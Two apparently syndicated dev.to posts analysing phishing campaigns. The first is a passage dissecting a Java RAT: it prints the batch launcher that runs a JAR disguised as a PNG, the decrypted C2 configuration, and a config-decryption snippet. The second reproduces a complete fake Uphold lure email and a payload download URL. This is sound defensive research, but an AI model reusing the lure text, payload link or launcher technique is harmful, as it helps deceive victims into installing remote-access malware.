&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;JAVA_VERSION&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"1.8.0_441"&lt;/span&gt;
&lt;span class="py"&gt;JAVA_RUNTIME_VERSION&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"1.8.0_441-b07"&lt;/span&gt;
&lt;span class="py"&gt;OS_NAME&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"Windows"&lt;/span&gt;
&lt;span class="py"&gt;OS_VERSION&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"5.2"&lt;/span&gt;
&lt;span class="py"&gt;OS_ARCH&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"amd64"&lt;/span&gt;
&lt;span class="py"&gt;SOURCE&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;".:git:fea06d2930f8+"&lt;/span&gt;
&lt;span class="py"&gt;BUILD_TYPE&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"commercial"&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So, whatever malware we are dealing with, it &lt;em&gt;should&lt;/em&gt; be Java-based. Using the aforementioned entry point execution path, we can focus on our malware payload, so let’s check the contents of &lt;code&gt;voicepress.cmd&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;@echo &lt;span class="na"&gt;off&lt;/span&gt;
&lt;span class="kd"&gt;set&lt;/span&gt; &lt;span class="s2"&gt;"extractPath=&lt;/span&gt;&lt;span class="nv"&gt;%TEMP%&lt;/span&gt;&lt;span class="s2"&gt;\collectionservice"&lt;/span&gt;
&lt;span class="c"&gt;:: Verifica se a pasta existe antes de executar&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;exist&lt;/span&gt; &lt;span class="s2"&gt;"C:\Users\Public\voicepress\bin\java.exe"&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;
    &lt;span class="nb"&gt;start&lt;/span&gt; &lt;span class="na"&gt;/B &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="s2"&gt;"C:\Users\Public\voicepress\bin\java.exe"&lt;/span&gt; &lt;span class="na"&gt;-jar -noverify &lt;/span&gt;&lt;span class="s2"&gt;"C:\Users\Public\voicepress\bin\voicepress.png"&lt;/span&gt;
&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="kd"&gt;Erro&lt;/span&gt;: &lt;span class="kd"&gt;Pasta&lt;/span&gt; &lt;span class="kd"&gt;extra&lt;/span&gt;ída &lt;span class="kd"&gt;n&lt;/span&gt;ão &lt;span class="kd"&gt;encontrada&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;
    &lt;span class="k"&gt;exit&lt;/span&gt; &lt;span class="na"&gt;/b
&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;exit&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;voicepress&lt;/code&gt; script checks if the extraction succeeded and &lt;code&gt;java.exe&lt;/code&gt; exists. After that, it tries to execute a &lt;code&gt;png&lt;/code&gt; file. By examining that &lt;code&gt;png&lt;/code&gt; file we can see that it is simply a JAR with the extension changed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;file voicepress.png 
&lt;span class="go"&gt;voicepress.png: Zip archive data, at least v2.0 to extract, compression method=deflate
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;jar tf voicepress.png
&lt;span class="gp"&gt;com/sun/jna/platform/mac/CoreFoundation$&lt;/span&gt;CFIndex.class
&lt;span class="gp"&gt;com/sun/jna/Callback$&lt;/span&gt;UncaughtExceptionHandler.class
&lt;span class="c"&gt;...
&lt;/span&gt;&lt;span class="go"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Unpacking the Payload
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F01lhb3dsr7zd77wsei21.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F01lhb3dsr7zd77wsei21.png" alt="jdgui"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The next step is to analyse our JAR. For that, my usual go-to tool is &lt;a href="https://java-decompiler.github.io/" rel="noopener noreferrer"&gt;JD-GUI&lt;/a&gt;, a just-works Java decompiler. As expected, we are indeed dealing with a Java application: &lt;code&gt;Main-Class: com.proj.client.Client&lt;/code&gt;. By looking at the main class we can observe that the code is highly obfuscated using a combination of techniques commonly associated with commercial Java obfuscator tools such as &lt;a href="https://www.zelix.com/klassmaster/index.html" rel="noopener noreferrer"&gt;Zelix KlassMaster&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi8iv9qi1ydx822w4omjj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi8iv9qi1ydx822w4omjj.png" alt="Obfuscated code"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There are some parts, however, that were not properly obfuscated, including the names of classes, files, and several functions. From these we can glean the capabilities of the malware at our hands.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Persistence via service with compatibility across all OSes&lt;/strong&gt; : right at the start, the malware calls &lt;code&gt;getService().install();&lt;/code&gt; which invokes the OS-specific service handler, &lt;code&gt;service = (IService)new WindowsService();&lt;/code&gt;, &lt;code&gt;service = (IService)new LinuxService();&lt;/code&gt; or &lt;code&gt;service = (IService)new OSXService();&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Calls back to a Command-and-Control (C2) server&lt;/strong&gt;: it opens a socket &lt;code&gt;Socket sc = new Socket();&lt;/code&gt; and connects &lt;code&gt;sc.connect(new InetSocketAddress(CONFIG.getHost(), CONFIG.getPort()), &amp;lt;unknown&amp;gt;);&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Attempts to distract the victim during installation&lt;/strong&gt; : pops up random &lt;code&gt;JOptionPanels&lt;/code&gt; with &lt;code&gt;JOptionPane.showMessageDialog(null, CONFIG.getMessageBoxText(), CONFIG.getMessageBoxTitle(), CONFIG.getMessageBoxCategory());&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Includes a logger class&lt;/strong&gt; : which seems a careless oversight by the attackers to ship with the malware. When executing the JAR in a sandbox we can see this logger in action: &lt;code&gt;Server not available, retrying in 20ms&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Packs a wide range of features including camera/microphone remote control, keylogger, browser password stealer, etc.&lt;/strong&gt; : Examples supporting the existence of these features in the code include &lt;code&gt;decryptChromiumPassword&lt;/code&gt;, &lt;code&gt;CameraInfo[] getCameras()&lt;/code&gt;, and &lt;code&gt;RobotScreenshot.createScreenshot&lt;/code&gt;, amongst others.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By submitting the malware sample to &lt;a href="https://www.virustotal.com/gui/file/e8265a39ac667c5f8ad36f9021e9faa06e6df09fcd96bc5e3da27e9b646c6820/detection" rel="noopener noreferrer"&gt;VirusTotal&lt;/a&gt; we can see this is a known malware of the type RAT (Remote Access Trojan), with the known threat label &lt;code&gt;trojan.java/ratty&lt;/code&gt;, with a fairly low detection rate across antivirus solutions: &lt;em&gt;23/68 security vendors flagged this file as malicious&lt;/em&gt;. A diagram of the inner workings of the RAT can be seen in the figure below.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjpdias.me%2Fimages%2Fjavarat26%2Fratty.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjpdias.me%2Fimages%2Fjavarat26%2Fratty.png" alt="Infection chain"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The AI Tricks
&lt;/h2&gt;

&lt;p&gt;So, we have a highly obfuscated JAR of a known malware strain. However, we have, so far, no insight into the &lt;em&gt;strings&lt;/em&gt; in the code, and that is typically where the most important information lies: hostnames, ports, etc. As most of the strings are encrypted with XOR or similar strategies, we should be able to decrypt them, because the JAR is a self-contained piece and must therefore carry all the encryption keys for whatever encryption is in use. By feeding the JAR into Claude (free version) and asking it to decrypt the code, it was able to create a Python script (after some back-and-forth) that takes the JAR as input and applies heuristics to decrypt most of the strings.&lt;/p&gt;

&lt;p&gt;You can find the “decoder” code in the following gist: &lt;a href="https://gist.github.com/jpdias/202028376caa0564a0d5a190ae784299" rel="noopener noreferrer"&gt;202028376caa0564a0d5a190ae784299&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After examining the decoded strings, a closer look at the &lt;code&gt;Config.class&lt;/code&gt;, which is used by the main &lt;code&gt;Client.class&lt;/code&gt; to load configurations, reveals some &lt;em&gt;interesting&lt;/em&gt; entries:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;======================================================================
  com/proj/client/Config
======================================================================
  (xor ) key='bChDk' =&amp;gt; 'Hide_Client_File'
  (xor ) key='wVRAg' =&amp;gt; 'Show_Message_Box'
  (des ) key='gUhCV' =&amp;gt; 'Message_Box_Title'
  (des ) key='qzLNE' =&amp;gt; 'Message_Box_Text'
  (blowfish) key='XUaqE' =&amp;gt; 'checksum'
  (xor ) key='HbLHt' =&amp;gt; 'checksum'
  (des ) key='iDsaf' =&amp;gt; 'Failed to read config'

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Why is a &lt;code&gt;checksum&lt;/code&gt; file used in a configuration?…&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;By examining the checksum file, we can see that it does indeed look a lot like a checksum hash. But now we know this is just smoke and mirrors to make the file appear harmless when, in reality, it is a core part of the malware configuration. Once again, let’s see if Claude is up to the task of figuring out how to decrypt it.&lt;/p&gt;

&lt;p&gt;You can find the code at the Gist: &lt;a href="https://gist.github.com/jpdias/202028376caa0564a0d5a190ae784299" rel="noopener noreferrer"&gt;202028376caa0564a0d5a190ae784299&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] Loaded checksum file: ../voicepress5/bin/voicepress/checksum
[+] Decrypted successfully (256 bytes → 190 chars)

  AES key string : 'checksum'
  AES key (hex) : a80ed2ef79e22f1d8af817cea1dbbf01

  Host = 80.211.137.XX
  Port = 7711
  AutoStart = true
  Hide_Client_File = false
  Show_Message_Box = false
  Message_Box_Title = 
  Message_Box_Text = 
  Message_Box_Category = -1

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Claude was able to successfully craft a decryptor for the checksum file and reveal the RAT’s configuration. By storing these configurations in a file, attackers can easily reconfigure their malware without needing to recompile the Java code, enabling attacks at scale. But how exactly did Claude figure it out?&lt;/p&gt;

&lt;p&gt;We already know that the &lt;code&gt;loadConfig&lt;/code&gt; function references the checksum file (as per the previous step), but this &lt;code&gt;checksum&lt;/code&gt; string appears twice, and in the second reference it is used as an argument to the &lt;code&gt;decryptAES&lt;/code&gt; static method call as a decryption &lt;strong&gt;key&lt;/strong&gt; (&lt;em&gt;careless or intentional?&lt;/em&gt;). This &lt;code&gt;decryptAES&lt;/code&gt; function must be defined somewhere. The malware packs a &lt;code&gt;CryptUtil&lt;/code&gt; class, and by decoding the strings from that class we see some interesting results:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;======================================================================
  com/proj/client/util/security/CryptUtil
======================================================================
  (des ) key='LRqHH' =&amp;gt; 'AES/ECB/PKCS5Padding'
  (xor ) key='EZovn' =&amp;gt; 'AES/ECB/PKCS5PADDING'
  (xor ) key='pNJAQ' =&amp;gt; '.enc'
  (des ) key='tyvJd' =&amp;gt; 'AES'
  (blowfish) key='PbUxI' =&amp;gt; '.dec'
  (blowfish) key='rTeNm' =&amp;gt; 'AES'
  (xor ) key='LvcgR' =&amp;gt; 'SHA-1'
  (xor ) key='UTgUh' =&amp;gt; 'AES'

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The key detail here is the SHA-1 string. AES encryption in Java requires a key of exactly 16, 24, or 32 bytes, but the input decryption key &lt;code&gt;checksum&lt;/code&gt; is only 8 bytes, which is not enough for AES to work. However, the malware code hashes the initial key with SHA-1 to extend it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;javaMessageDigest.getInstance("SHA-1").digest(keyString.getBytes("UTF-8"))&lt;/code&gt; gives 20 bytes, and then,&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Arrays.copyOf(result, 16)&lt;/code&gt; truncates the SHA-1 hash to give us the required 16-byte key.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With that, we can use the identified encryption scheme &lt;code&gt;AES/ECB/PKCS5Padding&lt;/code&gt; to decrypt the checksum configuration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;derive_aes_key&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key_string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;#javaMessageDigest.getInstance("SHA-1").digest(keyString.getBytes("UTF-8"))
&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encoded_content&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="c1"&gt;#checksum file content
&lt;/span&gt;&lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MODE_ECB&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;padded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Looking at the extracted configuration, we can see that the malware attempts to connect to a C2 server at &lt;code&gt;80.211.137.XX&lt;/code&gt; on port &lt;code&gt;7711&lt;/code&gt;. We can also observe configuration options such as auto-start being enabled. By checking the ARIN record for that IP address we can see it belongs to &lt;em&gt;Aruba S.p.A. - Cloud Services Farm2&lt;/em&gt;, part of &lt;a href="https://www.aruba.it/en/home.aspx" rel="noopener noreferrer"&gt;aruba.it&lt;/a&gt;, an Italian IT services provider that offers on-demand servers. This can also be verified with &lt;a href="https://mxtoolbox.com/arin.aspx" rel="noopener noreferrer"&gt;Mxtoolbox - ARIN Lookup&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Threat Landscape
&lt;/h2&gt;

&lt;p&gt;This is one of the most sophisticated phishing campaigns I have had the opportunity to analyze. Looking around online, we can find reports of similar campaigns based on the same Ratty malware family:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;2024: &lt;a href="https://www.esentire.com/blog/beware-the-bait-java-rats-lurking-in-tax-scam-emails" rel="noopener noreferrer"&gt;ESENTIRE - Beware the Bait: Java RATs Lurking in Tax Scam Emails&lt;/a&gt;, a phishing campaign leveraging tax themes within the Business Services sector using the same Ratty RAT&lt;/li&gt;
&lt;li&gt;2025: &lt;a href="https://www.broadcom.com/support/security-center/protection-bulletin/mail-campaign-delivers-java-based-rat" rel="noopener noreferrer"&gt;Mail campaign delivers Java-based RAT&lt;/a&gt;, a malicious email campaign observed targeting organizations in Italy 🇮🇹, Portugal 🇵🇹, and Spain 🇪🇸 using the same Spanish email provider service&lt;/li&gt;
&lt;li&gt;2025: &lt;a href="https://www.fortinet.com/blog/threat-research/multilayered-email-attack-how-a-pdf-invoice-and-geofencing-led-to-rat-malware" rel="noopener noreferrer"&gt;Multilayered Email Attack: How a PDF Invoice and Geo-Fencing Led to RAT Malware&lt;/a&gt;, another similar report mentioning the same campaign.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;From these references we can see that similar strategies are being used (including the same email service), and the target profile is consistent: Portugal, Spain, and Italy. Regarding attribution, most of the code comments are in Portuguese, so it would not be surprising if this malware was adapted with the help of an AI agent, considering that the original Ratty was an open-source project, although the repository no longer exists. Some information about its origins can be found on &lt;a href="https://malpedia.caad.fkie.fraunhofer.de/details/jar.ratty" rel="noopener noreferrer"&gt;malpedia - Ratty&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In the VBS script mentioned earlier, there were some seemingly random strings: &lt;code&gt;'MFGS52or138e 52 peCSDF52aSDASce 138 iFAFGGFn 138 thAFDGGFSDFDe 138 woDSAFDDFD52rld! 52 e 138 DüDADFDFDDn52yada 52 dDSADFDFDFaha 138 fazDSADFDFDla 138 baDASDFDSD138rış!&lt;/code&gt;. After stripping the garbage we get the real message:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;More peace in the world! Dünya’da daha fazla barış!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The last part is Turkish for “More peace in the world!”, which could point to a Turkish 🇹🇷 origin, but this is pure speculation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Timeline
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;[26/02/2026] Phishing email received.&lt;/li&gt;
&lt;li&gt;[03/03/2026] IP reported to aruba.it as malicious activity and taken down.&lt;/li&gt;
&lt;li&gt;[04/03/2026] OneDrive file reported as malicious activity and taken down.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>phishing</category>
      <category>malware</category>
      <category>rat</category>
      <category>infosec</category>
    </item>
    <item>
      <title>Plywood Trojan: When Attackers Go Budget</title>
      <dc:creator>JP Dias</dc:creator>
      <pubDate>Mon, 17 Nov 2025 00:00:00 +0000</pubDate>
      <link>https://dev.to/jpdias/plywood-trojan-when-attackers-go-budget-2063</link>
      <guid>https://dev.to/jpdias/plywood-trojan-when-attackers-go-budget-2063</guid>
      <description>&lt;p&gt;I’m always amused by the smell of a fresh phishing email in the morning. And this time, a closer to home one, as I know the target company since I have a friend working there, namely, Uphold. So let’s dive right in.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Disclaimer: Uphold is not in any way affiliated with this research nor its outcomes.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Target Acquired
&lt;/h2&gt;

&lt;p&gt;As always, the surprise comes in the subject of the email: “Introducing Uphold Desktop Application — Built to Resolve User Issues and Enhance Your Experience” coming from a suspect email address &lt;code&gt;newsletter@uphold25.blog&lt;/code&gt; in the name of Uphold. To nobody’s surprise, I don’t have an account on Uphold, so this is not really spear-phishing.&lt;/p&gt;

&lt;h1&gt;
  
  
  Email contents (click to expand)
&lt;/h1&gt;

&lt;p&gt;Dear Uphold User,&lt;/p&gt;

&lt;p&gt;Over the past months, we have listened carefully to your feedback concerning account restrictions, withdrawal delays, verification challenges, customer-support response times, 2FA difficulties, device-compatibility problems, and other unexpected disruptions. We recognize the frustration these issues have caused, and we appreciate your patience as we focused on strengthening the Uphold platform.&lt;/p&gt;

&lt;p&gt;We are pleased to introduce the Uphold Desktop Application — a major upgrade designed specifically to fix, correct, and fully rectify the recent challenges many users have experienced.&lt;/p&gt;

&lt;p&gt;The latest desktop environment delivers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Enhanced reliability and stability, reducing account-usage interruptions and verification failures.&lt;/li&gt;
&lt;li&gt;Improved transaction handling, ensuring smoother deposits, withdrawals, and transfers.&lt;/li&gt;
&lt;li&gt;Strengthened security infrastructure, including upgraded 2FA and safer wallet-linking protocols.&lt;/li&gt;
&lt;li&gt;A modern, refined interface that makes navigation faster and more intuitive.&lt;/li&gt;
&lt;li&gt;Maximum efficiency, especially for users who faced limitations on older mobile devices.&lt;/li&gt;
&lt;li&gt;Priority support integration, allowing improved issue resolution directly within the app.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Uphold services — trading, asset management, transfers, staking, and wallet operations — are more efficient, more secure, and more user-friendly on the desktop platform. The application represents the next stage in our commitment to delivering a seamless, transparent, and dependable experience for every Uphold user.&lt;/p&gt;

&lt;p&gt;📥: &lt;a href="https://www.upholddesktop.app/" rel="noopener noreferrer"&gt;https://www.upholddesktop.app/&lt;/a&gt; We encourage all users to download and begin using the Uphold Desktop App, where you'll benefit from these enhancements directly and enjoy a more consistent, stable, and streamlined interface.&lt;/p&gt;

&lt;p&gt;Thank you for your continued trust. We remain fully committed to building a platform that meets your expectations and supports your prosperity.&lt;/p&gt;

&lt;p&gt;Sincerely,&lt;/p&gt;

&lt;p&gt;The Uphold Team.&lt;/p&gt;

&lt;p&gt;So, we finally get our juicy link &lt;code&gt;https://www.upholddesktop.app/&lt;/code&gt;. This is a simple page, but a really well-made one, hosted on Vercel&lt;sup id="fnref:1"&gt;1&lt;/sup&gt; (seems to be a trend now).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvutjc5817m4l6u4rnz1t.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvutjc5817m4l6u4rnz1t.jpeg" alt="Uphold Phishing Website"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Checking the &lt;a href="https://lookup.icann.org/en/lookup" rel="noopener noreferrer"&gt;WHOIS&lt;/a&gt; data for the domain does not provide any useful data other than the registar &lt;a href="http://nicenic.net" rel="noopener noreferrer"&gt;NiceNIC.net&lt;/a&gt;. NiceNIC website has a &lt;a href="https://www.ssllabs.com/ssltest/analyze.html?d=nicenic.net" rel="noopener noreferrer"&gt;partially broken SSL certificate&lt;/a&gt;, and seems to sell domains in bulk - offering an API to create them on-demand (Free Reseller API) which seems a nice trick for more automation on the attacker’s side.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Analysis
&lt;/h2&gt;

&lt;p&gt;The first thing that I like to do is a quick scan using &lt;a href="https://urlscan.io/" rel="noopener noreferrer"&gt;urlscan.io&lt;/a&gt;. As expected, the report is matching the expected “Malicious Activity!” (feel free to check the &lt;a href="https://urlscan.io/result/019a8892-f207-7119-9d6d-c37916942e11/" rel="noopener noreferrer"&gt;public report here&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F03j96k5v9mixp7q7dmhe.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F03j96k5v9mixp7q7dmhe.png" alt="URLScan report"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, we have a download button pointing to Gofile (another random file hosting website), &lt;code&gt;https://store-na-phx-3.gofile.io/download/direct/42fc8912-xxxx-xxxx-xxxx-fe121eefd839/Uphold-installer.exe&lt;/code&gt;. Let’s download it (be careful if you decide to do similar adventures on your own; it is always recommended to use a sandbox machine or virtual machine).&lt;/p&gt;

&lt;p&gt;Let’s upload the &lt;em&gt;bug&lt;/em&gt; to &lt;a href="https://www.virustotal.com/" rel="noopener noreferrer"&gt;VirusTotal&lt;/a&gt;. Once again, rightfully detected, but strangely enough just by a handful of antivirus tools, more precisely &lt;strong&gt;only 8 out of 72 antivirus programs flag it as malicious&lt;/strong&gt; (you can find the &lt;a href="https://www.virustotal.com/gui/file/9211f0e753c0b19e54cc3d715679dc814a37b9368964abbc502edd5cf30fb1ef" rel="noopener noreferrer"&gt;report here&lt;/a&gt;). Most of the ones that detect it identify it as either a trojan or remote tool (should we say same face of the same coin?).&lt;/p&gt;

&lt;p&gt;Until so far we depended on automated analysis and reports, but should we take a closer look? Although one can have fun &lt;a href="https://github.com/mandiant/flare-vm" rel="noopener noreferrer"&gt;setting up a malware sandbox (e.g., FLARE-VM)&lt;/a&gt;, nowadays time runs short, so using a free sandbox is more than enough. For me the go-to has always been &lt;a href="https://any.run/" rel="noopener noreferrer"&gt;ANY.RUN&lt;/a&gt; as the free usage tier is not bad at all.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0asfgc0jqql62i63dqlh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0asfgc0jqql62i63dqlh.png" alt="AnyRun"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The tool allows you to upload your executable and trigger its execution inside a Windows 10 environment. This allows us to see the malware’s movements in a safe, automated, and &lt;em&gt;lazy&lt;/em&gt; way. As per the executable behavior, ANY.RUN also flags the executable as malware, and you can find the &lt;a href="https://app.any.run/tasks/70cbc321-d7b5-454d-b21c-852cbcdcc07b" rel="noopener noreferrer"&gt;execution report here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuq8rdlzn2yeksn50ui2v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuq8rdlzn2yeksn50ui2v.png" alt="Execution Graph"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;One of the best views is the execution graph, which gives you an overview of the malware execution path and makes visible some of its inner workings. One of the things that stood out in several aspects was the name of the executable dropped by the main &lt;code&gt;uphold-installer.exe&lt;/code&gt;, more concretely &lt;code&gt;syncro.installer.exe&lt;/code&gt;.&lt;/p&gt;

